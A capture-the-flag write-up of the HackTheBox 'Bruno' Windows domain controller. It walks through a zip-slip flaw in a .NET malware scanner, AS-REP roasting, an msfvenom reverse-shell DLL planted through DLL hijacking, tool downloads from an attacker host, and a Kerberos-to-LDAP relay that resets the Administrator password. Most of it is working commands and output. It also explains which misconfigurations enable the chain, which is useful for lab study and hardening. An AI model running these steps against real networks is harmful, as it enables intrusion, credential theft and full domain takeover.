HackTheBox: Bruno Writeup

HTB Bruno - Zip-Slip RCE to Kerberos Relay Domain Admin
Bruno is a Windows Active Directory box built around a single bad assumption: that a "malware scanner" service can safely extract whatever zip a low-privileged share drops in front of it. That assumption gets us a foothold as svc_scan. From there, the absence of LDAP signing and a permissive MachineAccountQuota let us turn a Kerberos relay through a COM-activated service into Domain Admin.
Reconnaissance
Started with a full TCP/service scan against the DC.
nmap -sC -sV -A -oA nmap <MACHINE-IP>
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
135,139,389,445,464,593,636,3268,3269,3389 ...
The Kerberos, LDAP, and SMB ports confirm this is a Domain Controller — hostname BRUNODC, domain bruno.vl. Anonymous FTP being open immediately stood out as the most interesting entry point, since it's rare to see writable FTP directly on a DC.
Anonymous FTP Enumeration
Anonymous login worked straight away:
ftp <MACHINE-IP>
Name: anonymous
Password:
230 User logged in.
Listing the root showed four directories: app, benign, malicious, and queue. That naming convention — queue / benign / malicious — is a strong signal this is a file-scanning pipeline: something watches queue, decides if a sample is malicious, and routes it accordingly.
ftp> ls
06-19-26 07:04AM <DIR> app
06-19-26 07:01AM <DIR> benign
06-29-22 01:41PM <DIR> malicious
06-19-26 07:44AM <DIR> queue
app contained a self-contained .NET binary (SampleScanner.exe/.dll and the usual .deps.json/runtimeconfig files) and a changelog:
Version 0.3
- integrated with dev site
- automation using svc_scan
Version 0.2
- additional functionality
Version 0.1
- initial support for EICAR string
The changelog confirms the automation account is svc_scan — useful for later Kerberos attacks — and that the scanner checks for the EICAR test string.
Decompiling the Scanner
SampleScanner.dll is a small .NET Core 3.1 assembly, easily decompiled:
ilspycmd SampleScanner.dll
The logic is straightforward and, critically, unsafe:
string[] files = Directory.GetFiles("C:\\samples\\queue\\", "*", SearchOption.AllDirectories);
foreach (string text2 in files)
{
if (text2.EndsWith(".zip"))
{
using ZipArchive zipArchive = ZipFile.OpenRead(text2);
foreach (ZipArchiveEntry entry in zipArchive.Entries)
{
string destinationFileName = Path.Combine("C:\\samples\\queue\\", entry.FullName);
entry.ExtractToFile(destinationFileName);
}
File.Delete(text2);
}
else if (PatternAt(File.ReadAllBytes(text2), bytes).Any())
{
File.Copy(text2, text2.Replace("queue", "malicious"), overwrite: true);
File.Delete(text2);
}
else
{
File.Copy(text2, text2.Replace("queue", "benign"), overwrite: true);
File.Delete(text2);
}
}
This is a classic zip-slip. The extraction path is built with Path.Combine("C:\\samples\\queue\\", entry.FullName) and entry.FullName comes straight from the archive with no normalization or containment check. Any zip entry name containing ../ segments lets us write a file outside the queue directory — including back into app, where the live scanner binaries live.
That's the whole vulnerability: drop a zip into the SMB share that backs queue, name an entry with a ../ traversal path pointing back into app, and the next scan cycle writes our file straight into the live scanner's binary directory — overwriting whatever sits at that path. Which file in app is actually worth targeting wasn't obvious yet at this point; that took a closer look at the binaries themselves, covered further down.
While going through the rest of the downloaded files, SampleScanner.runtimeconfig.dev.json leaked a build-time artifact worth keeping for later:
"additionalProbingPaths": [
"C:\\Users\\xct\\.dotnet\\store\\|arch|\\|tfm|",
"C:\\Users\\xct\\.nuget\\packages"
]
That's the developer's Windows username, xct, baked into the binary from whoever built it on their own machine. It's a free hit for a second valid domain username, so I added it to the users wordlist alongside svc_scan before running GetNPUsers against the DC — worth always doing a quick grep through any shipped .deps.json/runtimeconfig files and decompiled source for stray paths, usernames, or comments like this.
Initial Foothold
Null sessions and AS-REP roasting
SMB null/anonymous auth worked for basic recon:
nxc smb <MACHINE-IP> -u '' -p ''
SMB <MACHINE-IP> 445 BRUNODC [+] bruno.vl\: (Null Auth:True)
Shares weren't enumerable yet, and user enum via null auth came back empty, but the app changelog had already named svc_scan, and the leaked build path in SampleScanner.runtimeconfig.dev.json had named xct. With both added to a small users wordlist, AS-REP roasting against accounts with DONT_REQ_PREAUTH paid off:
impacket-GetNPUsers bruno.vl/ -usersfile users -no-pass -dc-ip <MACHINE-IP>
\(krb5asrep\)23\(svc_scan@BRUNO.VL:b127a5cfe3288b3cef52a1f293357218\)8e28a59d6cc5...
Cracked offline with John:
john asrep.hash --wordlist=/usr/share/wordlists/rockyou.txt
john asrep.hash --show
\(krb5asrep\)23$svc_scan@BRUNO.VL:Sunshine1
svc_scan:Sunshine1 checked out against SMB:
nxc smb <MACHINE-IP> -u svc_scan -p Sunshine1
SMB <MACHINE-IP> 445 BRUNODC [+] bruno.vl\svc_scan:Sunshine1
Reaching the queue share
With valid creds, shares opened up - and queue was writable:
nxc smb <MACHINE-IP> -u svc_scan -p Sunshine1 --shares
SMB ... queue READ,WRITE
SMB ... CertEnroll READ
SMB ... NETLOGON READ
SMB ... SYSVOL READ
This confirmed the plan: the FTP queue directory and the SMB queue share are the same backend folder the scanner polls.
Finding the right file to target
Before building any payload, I needed to know which file in app was actually worth overwriting. I rebuilt the same layout locally (C:\samples\app with the downloaded scanner files) and ran SampleScanner.exe under Process Monitor, filtered to Path ends with .dll, to watch its real file resolution order:
SampleSc... 3428 CreateFile C:\samples\app\hostfxr.dll NAME NOT FOUND
SampleSc... 3428 CreateFile C:\Program Files\dotnet\coreclr.dll NAME NOT FOUND
SampleSc... 3428 CreateFile C:\Program Files\dotnet\shared\Microsoft.NETCore.App\3.1.32\advapi32.dll NAME NOT FOUND
That first line is the key find: the apphost looks for hostfxr.dll next to itself in app first, and only falls back to the real, version-pinned copy under Program Files\dotnet\host\fxr if that local probe misses. There was never a hostfxr.dll shipped in the FTP app directory at all - I only learned it was the file the loader checks for first by replicating the layout locally and watching this exact trace. That gave me the target: drop a DLL at C:\samples\app\hostfxr.dll via the zip-slip write, and it gets loaded and executed before the real runtime is ever reached. Standard DLL search-order hijacking, just triggered through a file-write bug instead of a writable PATH entry.
Building the zip-slip payload
Generated a reverse shell DLL with msfvenom, named to match the path the apphost was missing:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER-IP> LPORT=4444 -f dll -o hostfxr.dll
Then packed it into a zip with a traversal path as the entry name, using Python's zipfile so I controlled the exact entry name (the OS zip CLI normalizes ../ and would have defeated the attack):
import zipfile
with open('hostfxr.dll', 'rb') as f:
hostfxr = f.read()
with zipfile.ZipFile('rev-shell.zip', 'w') as zip:
zip.writestr('../app/hostfxr.dll', hostfxr)
Uploaded it to the writable share:
smbclient //<MACHINE-IP>/queue -U svc_scan%Sunshine1
smb: \> put rev-shell.zip
Started a listener and an SMB/HTTP server, then waited for the scanner's polling cycle to pick up the zip from queue, extract it (writing our malicious hostfxr.dll into app), and delete the source zip. The next time the scanner runs, our DLL gets loaded instead of the real runtime host — and the reverse shell connects back as svc_scan.
whoami
bruno\svc_scan
Privilege Escalation
Situational awareness
whoami /priv
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeMachineAccountPrivilege Add workstations to domain Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeMachineAccountPrivilege shows up but disabled — the right to add computer accounts is generally available to all domain users by default anyway, gated by MachineAccountQuota, not by this token privilege. Checked the quota and LDAP channel security over LDAP itself:
nxc ldap <MACHINE-IP> -u svc_scan -p Sunshine1 -M maq
MAQ <MACHINE-IP> 389 BRUNODC MachineAccountQuota: 10
nxc ldap <MACHINE-IP> -u svc_scan -p Sunshine1
LDAP <MACHINE-IP> 389 BRUNODC (signing:None) (channel binding:Never)
That's the second flaw: no LDAP signing and no channel binding, paired with a non-zero MachineAccountQuota. This is the textbook setup for a Kerberos relay attack using a COM-coercion primitive (KrbRelayUp) to force a SYSTEM-level Kerberos authentication that we relay to LDAP on the DC itself.
Finding a usable CLSID
KrbRelayUp needs a local, SYSTEM-running DCOM service whose CLSID we can activate to coerce a Kerberos authentication. Pulled the compiled KrbRelayUp.exe/KrbRelay.exe from SharpCollection and the CLSID enumeration script from juicy-potato onto the box:
Invoke-WebRequest -Uri "http://<ATTACKER-IP>/KrbRelayUp.exe" -OutFile "C:\temp\KrbRelayUp.exe"
Invoke-WebRequest -Uri "http://<ATTACKER-IP>/KrbRelay.exe" -OutFile "C:\temp\KrbRelay.exe"
Invoke-WebRequest -Uri "http://<ATTACKER-IP>/GetCLSID.ps1" -OutFile "C:\temp\GetCLSID.ps1"
Ran the script to dump every locally registered AppID/CLSID pair tied to a Windows service:
.\GetCLSID.ps1
Name Used (GB) Free (GB) Provider Root CurrentLocation
---- --------- --------- -------- ---- ---------------
HKCR Registry HKEY_CLASSES_ROOT
Looking for CLSIDs
Looking for APIDs
Joining CLSIDs and APIDs
Directory: C:\temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/19/2026 12:06 PM 3200 CLSID.list
-a---- 6/19/2026 12:06 PM 7697 CLSIDs.csv
The script drops a directory containing two files — CLSID.list (a flat list of CLSID GUIDs) and CLSIDs.csv (the same CLSIDs joined against their owning AppID and the local service name that registers them). CLSIDs.csv came back with way too many entries to test by hand one at a time, so instead of manually instantiating each one I ran a small filtering script against it to cross-reference every CLSID with currently running services and actually attempt [System.Activator]::CreateInstance() on each:
Import-Csv "Windows_Server_2022_Datacenter\CLSIDs.csv" | ForEach-Object {
\(serviceName = \)_.LocalService
\(clsid = \)_.CLSID.Trim("{}")
\(svc = Get-Service -Name \)serviceName -ErrorAction SilentlyContinue
if (\(svc -and \)svc.Status -eq 'Running') {
try {
\(type = [Type]::GetTypeFromCLSID([Guid]\)clsid)
[System.Activator]::CreateInstance($type) | Out-Null
Write-Host "\(serviceName | \)clsid | [SUCCESS]" -ForegroundColor Green
} catch { ... }
}
}
That surfaced only the CLSIDs worth caring about — the ones that actually instantiate, are access-denied, or are simply unavailable — instead of wading through dozens of irrelevant entries:
CertSvc | D99E6E73-FC88-11D0-B498-00A0C90312F3 | [SUCCESS]
UsoSvc | 84C80796-F07C-4340-8897-DA954AADBF16 | [Class Not Available]
vds | 7D1933CB-86F6-4A98-8628-01BE94C9A575 | [Access Denied]
CertSvc (Active Directory Certificate Services, running as NT AUTHORITY\SYSTEM) instantiated cleanly — that's our coercion primitive. Anything that triggers this CLSID forces the local SYSTEM account to authenticate over Kerberos, and because LDAP signing is disabled, that authentication can be relayed straight into an LDAP session on the DC with full SYSTEM-equivalent rights.
Relay path 1: KrbRelayUp end-to-end (RBCD)
Tried the all-in-one KrbRelayUp path first — create a new computer account and grant it Resource-Based Constrained Delegation (RBCD) rights over the DC computer object in one shot:
.\KrbRelayUp.exe relay -Domain bruno.vl -CreateNewComputerAccount -ComputerName 'damn$' -ComputerPassword damned12 -cls D99E6E73-FC88-11D0-B498-00A0C90312F3
[+] Computer account "damn$" added with password "damned12"
[+] Forcing SYSTEM authentication
[+] Got Krb Auth from NT/SYSTEM. Relaying to LDAP now...
[+] LDAP session established
[+] RBCD rights added successfully
KrbRelayUp creates the computer account damn\(, coerces SYSTEM auth via the CertSvc CLSID, relays that auth to LDAP, and writes RBCD permissions so damn\) can delegate to BRUNODC$.
Relay path 2: KrbRelay password reset (reliable fallback)
The CertSvc CLSID coercion forces the machine itself to authenticate over the network. That's why the relay log shows Relaying context: bruno.vl\BRUNODC\( - we're abusing that relayed BRUNODC\) authentication to write to LDAP on its behalf.
KrbRelay.exe's -rbcd flag needs the SID of the account we actually control and want listed as a trusted delegate on BRUNODC\('s object. That's damn\), the computer account KrbRelayUp created in path 1 — not BRUNODC$ itself. Pulled that SID with BloodyAD:
bloodyAD --host <MACHINE-IP> -d bruno.vl -u svc_scan -p Sunshine1 get object 'damn$' --attr objectSid
objectSid: S-1-5-21-1536375944-4286418366-3447278137-5104
With damn\('s SID in hand, run KrbRelay.exe again to coerce the same CertSvc CLSID. This relays the resulting BRUNODC\) Kerberos auth into an LDAP modify that resets the domain Administrator's password — the RBCD rights granted to damn$ in path 1 are what authorize this write:
.\KrbRelay.exe -spn ldap/brunodc.bruno.vl -clsid D99E6E73-FC88-11D0-B498-00A0C90312F3 -rbcd S-1-5-21-1536375944-4286418366-3447278137-5104 -ssl -port 10246 -reset-password administrator gotyou12
[*] Relaying context: bruno.vl\BRUNODC$
[*] Forcing SYSTEM authentication
[+] LDAP session established
[*] ldap_modify: LDAP_UNWILLING_TO_PERFORM
[*] ldap_modify: LDAP_SUCCESS
The key signal here is the trailing ldap_modify: LDAP_SUCCESS. KrbRelay logs one LDAP_UNWILLING_TO_PERFORM line as part of an internal retry/permission probe, but as long as the final modify returns LDAP_SUCCESS, the Administrator password has actually been changed to the value passed in (gotyou12 in this run). This step is flaky in practice — the same command can succeed outright, succeed only on a retry, or fail and leave the password untouched. If every relevant LDAP operation in the output shows success, the reset landed and the new password is immediately usable; if not, it's just a re-run away. It's worth treating the next steps as a branch rather than a fixed sequence:
KrbRelay.exe -reset-password administrator gotyou12
│
├── all relevant LDAP operations show success (password changed)
│ │
│ ├── evil-winrm -i brunodc.bruno.vl -u administrator -p gotyou12 → shell directly
│ │
│ ├── impacket-psexec (LDAP_UNWILLING_TO_PERFORM) bruno.vl/administrator:gotyou12@brunodc.bruno.vl → SYSTEM shell directly
│ │
│ └── impacket-getTGT bruno.vl/administrator:gotyou12 -dc-ip <MACHINE-IP>
│ └── export KRB5CCNAME=administrator.ccache
│ └── impacket-psexec -k -no-pass bruno.vl/administrator@brunodc.bruno.vl → SYSTEM shell
│
└── any ldap_modify fails (password unchanged)
│
└── re-run KrbRelay.exe -reset-password ... (the CLSID coercion is consistent; the LDAP write itself is what's flaky, and it usually lands on a retry)
In other words: if every relevant LDAP operation in the output comes back successful, Administrator's credentials are usable outright — straight into evil-winrm or psexec with the new password, or through a clean getTGT first if a Kerberos-only path is preferred. If any of them aren't a clean success, the password didn't actually change — that's not a different attack, just a re-run of the same KrbRelay.exe -reset-password command until every relevant LDAP operation comes back successful. On this run the reset landed first try, so I went with the clean TGT path:
impacket-getTGT bruno.vl/administrator:gotyou12 -dc-ip <MACHINE-IP>
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in administrator.ccache
SYSTEM via Kerberos-authenticated PsExec
Point KRB5CCNAME at the new TGT and get a SYSTEM shell with Impacket's PsExec — no NTLM, no password prompt needed:
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass bruno.vl/administrator@brunodc.bruno.vl -dc-ip <MACHINE-IP>
[*] Found writable share ADMIN$
[*] Creating service GMTw on brunodc.bruno.vl.....
[*] Starting service GMTw.....
C:\Windows\system32> whoami
nt authority\system
Flag retrieval:
C:\Users\Administrator\Desktop> type root.txt
HTB{REDACTED}
Why the Privesc Actually Works
Worth spelling out the chain in plain terms, since it isn't a single CVE but a combination of three separate misconfigurations:
- No LDAP signing / no channel binding on the DC means any Kerberos authentication captured locally can be relayed into an authenticated LDAP session without the DC detecting tampering or rejecting the relayed signature.
- A non-zero
MachineAccountQuota(10, well above the 0 a hardened domain would set) lets any authenticated domain user - includingsvc_scan- create new computer accounts at will, which is the relay's landing point. - A locally activatable, SYSTEM-running COM service (
CertSvc) gives us a reliable way to coerce a SYSTEM-context Kerberos authentication on demand, which is the thing actually getting relayed.
Chain it together: coerce SYSTEM's Kerberos auth via the CertSvc CLSID → relay it to LDAP, which the DC accepts unsigned → use that session to create a computer account we control (damn\() and grant it RBCD rights over BRUNODC\) (KrbRelayUp) → coerce the same SYSTEM auth a second time and relay it into an LDAP modify that resets Administrator's password, using damn$'s SID and the RBCD rights already granted to authorize the write (KrbRelay) → authenticate as Administrator with the new password for a shell. Any one of the three conditions being fixed (LDAP signing enforced, quota set to 0, or the CLSID hardened/unavailable to non-admins) breaks the chain.
References
- SharpCollection — precompiled
KrbRelayUp.exe/KrbRelay.exebinaries - juicy-potato
GetCLSID.ps1— local CLSID/AppID enumeration script - Microsoft Security Blog — Detecting and preventing privilege escalation attacks leveraging Kerberos relaying (KrbRelayUp)
Tools Used
nmap— service/version reconftp/ anonymous FTP client - initial file disclosureilspycmd— .NET decompilation ofSampleScanner.dllsmbclient/nxc(NetExec) - SMB enumeration and file uploadimpacket-GetNPUsers— AS-REP roastingjohn/hashcat— offline hash crackingmsfvenom— reverse shell DLL payload- Python
zipfile— crafting the zip-slip archive GetCLSID.ps1(juicy-potato) - CLSID/service enumerationKrbRelayUp/KrbRelay(SharpCollection) - Kerberos relay, RBCD, password resetbloodyAD— fetchingdamn$'s objectSid for the-rbcdflagimpacket-getTGT— TGT request for Administrator after password resetevil-winrm/impacket-psexec- shell access once Administrator's password is known
Attack Chain
| Step | Action | Result |
|---|---|---|
| 1 | Anonymous FTP recon | Discovered scanner app, queue/benign/malicious workflow, svc_scan account name |
| 2 | Decompiled SampleScanner.dll |
Identified unsanitized zip extraction (zip-slip) |
| 3 | AS-REP roast + crack svc_scan |
Obtained svc_scan:Sunshine1 |
| 4 | Uploaded crafted zip to writable queue SMB share |
Overwrote app\hostfxr.dll with malicious payload |
| 5 | Scanner cycle triggered payload | Reverse shell as bruno\svc_scan |
| 6 | Enumerated MachineAccountQuota + LDAP signing state | Confirmed relay-friendly LDAP config |
| 7 | Enumerated CLSIDs against running services | Found CertSvc CLSID activatable as SYSTEM |
| 8 | KrbRelayUp: created computer account + RBCD | Delegation rights granted to damn$ |
| 9 | KrbRelay.exe password reset over relayed LDAP (-rbcd using damn$'s SID via BloodyAD) |
Administrator password changed |
| 10 | impacket-getTGT for Administrator |
Fresh TGT using new password |
| 11 | impacket-psexec with Kerberos ticket |
SYSTEM shell, root flag |
Key Vulnerabilities
| Vulnerability | Component | Impact |
|---|---|---|
Zip-slip (unsanitized ZipArchiveEntry.FullName) |
SampleScanner.dll custom scanner |
Arbitrary file write/overwrite as the scanner's service account |
AS-REP roastable account (DONT_REQ_PREAUTH) |
svc_scan |
Offline-crackable credential exposure |
| Writable SMB share aligned with scanner input queue | queue share |
RCE staging via the zip-slip flaw |
| Disabled LDAP signing / channel binding | Domain Controller LDAP | Kerberos relay to LDAP without signature validation |
Non-zero MachineAccountQuota |
Active Directory | Arbitrary computer account creation enabling RBCD abuse |
Locally activatable SYSTEM COM service (CertSvc CLSID) |
AD CS | Reliable SYSTEM Kerberos auth coercion primitive |



